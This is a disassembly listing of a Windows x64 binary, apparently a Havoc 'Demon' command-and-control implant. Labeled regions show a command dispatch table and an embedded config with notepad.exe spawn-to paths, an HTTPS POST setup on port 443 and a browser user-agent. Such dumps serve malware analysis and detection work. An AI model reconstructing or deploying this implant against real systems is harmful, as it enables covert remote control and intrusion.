    140023201mov [rsp+56], r8
    140023206mov [rsp+40], r8
    14002320bcall [rip+7055]
    140023211mov r8, [rsp+40]
    140023216mov rdx, rbx
    140023219mov rcx, rax
    14002321ccall __mingw_vfprintf
    140023221add rsp, 64
    140023225pop rbx
    140023226ret
    1400231e0
    140023227
    140023227 // align 0x10
    140023230
    140023230printf.constprop.0:
    140023230sub rsp, 72
    140023234mov ecx, 1
    140023239mov [rsp+96], r8
    14002323elea r8, [rsp+88]
    140023243mov [rsp+88], rdx
    140023248mov [rsp+104], r9
    14002324dmov [rsp+56], r8
    140023252mov [rsp+40], r8
    140023257call [rip+6979]
    14002325dmov r8, [rsp+40]
    140023262lea rdx, [rip+22055]
    140023269mov rcx, rax
    14002326ccall __mingw_vfprintf
    140023271add rsp, 72
    140023275ret
    140023230
    140023276
    140023276 // align 0x10
    140023280
    140023280printf.constprop.0:
    140023280sub rsp, 72
    140023284mov ecx, 1
    140023289mov [rsp+96], r8
    14002328elea r8, [rsp+88]
    140023293mov [rsp+88], rdx
    140023298mov [rsp+104], r9
    14002329dmov [rsp+56], r8
    1400232a2mov [rsp+40], r8
    1400232a7call [rip+6899]
    1400232admov r8, [rsp+40]
    1400232b2lea rdx, [rip+24231]
    1400232b9mov rcx, rax
    1400232bccall __mingw_vfprintf
    1400232c1add rsp, 72
    1400232c5ret
    140023280
    1400232c6
    1400232c6 // align 0x10
    1400232d0
    1400232d0printf.constprop.0:
    1400232d0sub rsp, 72
    1400232d4mov ecx, 1
    1400232d9mov [rsp+96], r8
    1400232delea r8, [rsp+88]
    1400232e3mov [rsp+88], rdx
    1400232e8mov [rsp+104], r9
    1400232edmov [rsp+56], r8
    1400232f2mov [rsp+40], r8
    1400232f7call [rip+6819]
    1400232fdmov r8, [rsp+40]
    140023302lea rdx, [rip+27447]
    140023309mov rcx, rax
    14002330ccall __mingw_vfprintf
    140023311add rsp, 72
    140023315ret
    1400232d0
    140023316
    140023316 // align 0x10
    140023320
    140023320printf.constprop.0:
    140023320sub rsp, 72
    140023324mov ecx, 1
    140023329mov [rsp+96], r8
    14002332elea r8, [rsp+88]
    140023333mov [rsp+88], rdx
    140023338mov [rsp+104], r9
    14002333dmov [rsp+56], r8
    140023342mov [rsp+40], r8
    140023347call [rip+6739]
    14002334dmov r8, [rsp+40]
    140023352lea rdx, [rip+32455]
    140023359mov rcx, rax
    14002335ccall __mingw_vfprintf
    140023361add rsp, 72
    140023365ret
    140023320
    140023366
    140023366 // align 0x10
    140023370
    140023370printf.constprop.0:
    140023370sub rsp, 72
    140023374mov ecx, 1
    140023379mov [rsp+96], r8
    14002337elea r8, [rsp+88]
    140023383mov [rsp+88], rdx
    140023388mov [rsp+104], r9
    14002338dmov [rsp+56], r8
    140023392mov [rsp+40], r8
    140023397call [rip+6659]
    14002339dmov r8, [rsp+40]
    1400233a2lea rdx, [rip+34935]
    1400233a9mov rcx, rax
    1400233accall __mingw_vfprintf
    1400233b1add rsp, 72
    1400233b5ret
    140023370
    1400233b6
    1400233b6 // align 0x10
    1400233c0
    1400233c0swap_endianess:
    1400233c0mov eax, ecx
    1400233c2bswap eax
    1400233c4ret
    1400233c0
    1400233c5
    1400233c5 // align 0x10
    1400233d0
    1400233d0toWideChar:
    1400233d0mov rax, rcx
    1400233d3sub rsp, 40
    1400233d7mov rcx, rdx
    1400233damovsxd r8, r8l
    1400233ddmov rdx, rax
    1400233e0call CharStringToWCharString
    1400233e5test rax, rax
    1400233e8setne al
    1400233ebadd rsp, 40
    1400233efmovzx eax, al
    1400233f2ret
    1400233d0
    1400233f3
    1400233f3 // align 0x10
    140023400
    140023400main:
    140023400push rdi
    140023401push rsi
    140023402push rbx
    140023403sub rsp, 144
    14002340axor esi, esi
    14002340ccall __main
    140023411call __p__acmdln
    140023416mov rbx, [rax]
    140023419test rbx, rbx
    14002341cjne 0x14002344b
    14002341ejmp 0x1400234c1
    140023423
    140023423 0f 1f 44 00 00 ..D..
    140023428
    140023428loc_140023428:
    140023428test cl, cl
    14002342aje 0x140023478
    14002342cand esi, 1
    14002342fje 0x140023460
    140023431mov esi, 1
    140023436
    140023436loc_140023436:
    140023436call _ismbblead
    14002343btest eax, eax
    14002343dje 0x140023447
    14002343fcmp [rbx+1], 1
    140023443sbb rbx, -1
    140023447
    140023447loc_140023447:
    140023447add rbx, 1
    14002344b
    14002344bloc_14002344b:
    14002344bmovsx ecx, [rbx]
    14002344ecmp cl, 32
    140023451jle 0x140023428
    140023453mov eax, esi
    140023455xor eax, 1
    140023458cmp cl, 34
    14002345bcmove esi, eax
    14002345ejmp 0x140023436
    140023460
    140023460loc_140023460:
    140023460test cl, cl
    140023462je 0x140023478
    140023464nop [rax]
    140023468
    140023468loc_140023468:
    140023468movzx eax, [rbx+1]
    14002346cadd rbx, 1
    140023470test al, al
    140023472je 0x140023478
    140023474cmp al, 32
    140023476jle 0x140023468
    140023478
    140023478loc_140023478:
    140023478lea rdx, [rsp+32]
    14002347dxor eax, eax
    14002347fmov ecx, 13
    140023484mov rdi, rdx
    140023487rep stosq [rdi], rax
    14002348amov rcx, rdx
    14002348dcall [rip+56677]
    140023493mov r9l, 10
    140023499test [rsp+92], 1
    14002349eje 0x1400234a6
    1400234a0movzx r9l, [rsp+96]
    1400234a6
    1400234a6loc_1400234a6:
    1400234a6mov rcx, [rip+36675]
    1400234admov r8, rbx
    1400234b0xor edx, edx
    1400234b2add rsp, 144
    1400234b9pop rbx
    1400234bapop rsi
    1400234bbpop rdi
    1400234bcjmp 0x1400222c0
    1400234c1
    1400234c1loc_1400234c1:
    1400234c1lea rbx, [rip+34744]
    1400234c8jmp 0x140023478
    140023400
    1400234ca
    1400234ca // align 0x10
    1400234d0
    1400234d0register_frame_ctor:
    1400234d0jmp 0x140001430
    1400234d0
    1400234d5
    1400234d5 // align 0x10
    1400234e0
    1400234e0 ff ff ff ff ff ff ff ff ........
    1400234e8
    1400234e8fn_1400234e8:
    1400234e8sal [rdx+rax], 1
    1400234ebadd [rax], eax
    1400234eeadd [rax], al
    1400234f0add [rax], al
    1400234f2add [rax], al
    1400234f4add [rax], al
    1400234f6add [rax], al
    1400234e8
    1400234f8
    1400234f8 ff ff ff ff ff ff ff ff ........
    140023500
    140023500fn_140023500:
    140023500add [rax], al
    140023502add [rax], al
    140023504add [rax], al
    140023506add [rax], al
    140023500
    140024000
    140024000 uint8_t g_140024000 ← CommandDispatcher
    140024000 0b 00 00 00 00 00 00 00 40 e0 00 40 01 00 00 00 ........@..@....
    140024010 64 00 00 00 00 00 00 00 c0 a1 00 40 01 00 00 00 d..........@....
    140024020 15 00 00 00 00 00 00 00 e0 be 00 40 01 00 00 00 ...........@....
    140024030 10 10 00 00 00 00 00 00 40 d3 00 40 01 00 00 00 ........@..@....
    140024040 0c 00 00 00 00 00 00 00 c0 dc 00 40 01 00 00 00 ...........@....
    140024050 0f 00 00 00 00 00 00 00 e0 ac 00 40 01 00 00 00 ...........@....
    140024060 14 00 00 00 00 00 00 00 50 bd 00 40 01 00 00 00 ........P..@....
    140024070 01 20 00 00 00 00 00 00 50 9c 00 40 01 00 00 00 . ......P..@....
    140024080 03 20 00 00 00 00 00 00 b0 9f 00 40 01 00 00 00 . .........@....
    140024090 c4 09 00 00 00 00 00 00 10 a2 00 40 01 00 00 00 ...........@....
    1400240a0 ce 09 00 00 00 00 00 00 70 df 00 40 01 00 00 00 ........p..@....
    1400240b0 d8 09 00 00 00 00 00 00 80 cf 00 40 01 00 00 00 ...........@....
    1400240c0 34 08 00 00 00 00 00 00 40 c6 00 40 01 00 00 00 4.......@..@....
    1400240d0 16 00 00 00 00 00 00 00 40 b8 00 40 01 00 00 00 ........@..@....
    1400240e0 18 00 00 00 00 00 00 00 10 ba 00 40 01 00 00 00 ...........@....
    1400240f0 1a 00 00 00 00 00 00 00 50 e7 00 40 01 00 00 00 ........P..@....
    140024100 28 00 00 00 00 00 00 00 10 e8 00 40 01 00 00 00 (..........@....
    140024110 e2 09 00 00 00 00 00 00 d0 f1 00 40 01 00 00 00 ...........@....
    140024120 ec 09 00 00 00 00 00 00 e0 e0 00 40 01 00 00 00 ...........@....
    140024130 f6 09 00 00 00 00 00 00 c0 c0 00 40 01 00 00 00 ...........@....
    140024140 00 0a 00 00 00 00 00 00 90 c5 00 40 01 00 00 00 ...........@....
    140024150 5c 00 00 00 00 00 00 00 10 aa 00 40 01 00 00 00 \..........@....
    140024160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    140024170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    140024180
    140024180 uint32_t g_140024180 ← DemonInit
    140024180 dd 0x4001ae30
    140024184
    140024184 01 00 00 00 a0 b6 01 40 01 00 00 00 .......@....
    140024190 40 bb 01 40 01 00 00 00 80 c0 01 40 01 00 00 00 @..@.......@....
    1400241a0 30 bd 01 40 01 00 00 00 f0 b7 01 40 01 00 00 00 0..@.......@....
    1400241b0 40 b5 01 40 01 00 00 00 60 b3 01 40 01 00 00 00 @..@....`..@....
    1400241c0 50 b9 01 40 01 00 00 00 70 c4 01 40 01 00 00 00 P..@....p..@....
    1400241d0 80 be 01 40 01 00 00 00 10 c2 01 40 01 00 00 00 ...@.......@....
    1400241e0
    1400241e0 uint8_t g_1400241e0 ← DemonConfig
    1400241e0 02 00 00 00 00 00 00 00 02 00 00 00 02 00 00 00 ................
    1400241f0 40 00 00 00 43 00 3a 00 5c 00 57 00 69 00 6e 00 @...C.:.\.W.i.n.
    140024200 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 d.o.w.s.\.S.y.s.
    140024210 74 00 65 00 6d 00 33 00 32 00 5c 00 6e 00 6f 00 t.e.m.3.2.\.n.o.
    140024220 74 00 65 00 70 00 61 00 64 00 2e 00 65 00 78 00 t.e.p.a.d...e.x.
    140024230 65 00 00 00 40 00 00 00 43 00 3a 00 5c 00 57 00 e...@...C.:.\.W.
    140024240 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 i.n.d.o.w.s.\.S.
    140024250 79 00 73 00 57 00 4f 00 57 00 36 00 34 00 5c 00 y.s.W.O.W.6.4.\.
    140024260 6e 00 6f 00 74 00 65 00 70 00 61 00 64 00 2e 00 n.o.t.e.p.a.d...
    140024270 65 00 78 00 65 00 00 00 00 00 00 00 00 00 00 00 e.x.e...........
    140024280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    140024290 00 00 00 00 00 00 00 00 0a 00 00 00 50 00 4f 00 ............P.O.
    1400242a0 53 00 54 00 00 00 00 00 00 00 01 00 00 00 10 00 S.T.............
    1400242b0 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 ..0...0...0...0.
    1400242c0 00 00 bb 01 00 00 01 00 00 00 dc 00 00 00 4d 00 ..............M.
    1400242d0 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2f 00 35 00 o.z.i.l.l.a./.5.
    1400242e0 2e 00 30 00 20 00 28 00 57 00 69 00 6e 00 64 00 ..0. .(.W.i.n.d.
    1400242f0 6f 00 77 00 73 00 20 00 4e 00 54 00 20 00 36 00 o.w.s. .N.T. .6.
    140024300 2e 00 31 00 3b 00 20 00 57 00 4f 00 57 00 36 00 ..1.;. .W.O.W.6.
    140024310 34 00 29 00 20 00 41 00 70 00 70 00 6c 00 65 00 4.). .A.p.p.l.e.
    140024320 57 00 65 00 62 00 4b 00 69 00 74 00 2f 00 35 00 W.e.b.K.i.t./.5.
    140024330 33 00 37 00 2e 00 33 00 36 00 20 00 28 00 4b 00 3.7...3.6. .(.K.
    140024340 48 00 54 00 4d 00 4c 00 2c 00 20 00 6c 00 69 00 H.T.M.L.,. .l.i.
    140024350 6b 00 65 00 20 00 47 00 65 00 63 00 6b 00 6f 00 k.e. .G.e.c.k.o.
    140024360 29 00 20 00 43 00 68 00 72 00 6f 00 6d 00 65 00 ). .C.h.r.o.m.e.
    140024370 2f 00 39 00 36 00 2e 00 30 00 2e 00 34 00 36 00 /.9.6...0...4.6.
    140024380 36 00 34 00 2e 00 31 00 31 00 30 00 20 00 53 00 6.4...1.1.0. .S.
    140024390 61 00 66 00 61 00 72 00 69 00 2f 00 35 00 33 00 a.f.a.r.i./.5.3.
    1400243a0 37 00 2e 00 33 00 36 00 00 00 01 00 00 00 24 00 7...3.6.......$.
    1400243b0 00 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 ..C.o.n.t.e.n.t.
    1400243c0 2d 00 74 00 79 00 70 00 65 00 3a 00 20 00 2a 00 -.t.y.p.e.:. .*.
    1400243d0 2f 00 2a 00 00 00 01 00 00 00 04 00 00 00 2f 00 /.*.........../.
    1400243e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    1400243f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    140024400
    140024400 uint8_t g_140024400 ← DemonInit DemonMain
    140024400 db 0x00
    140024401
    140024401 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
    140024410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    140024420 00 00 00 00 00 00 00 00 00 00 00 00 ............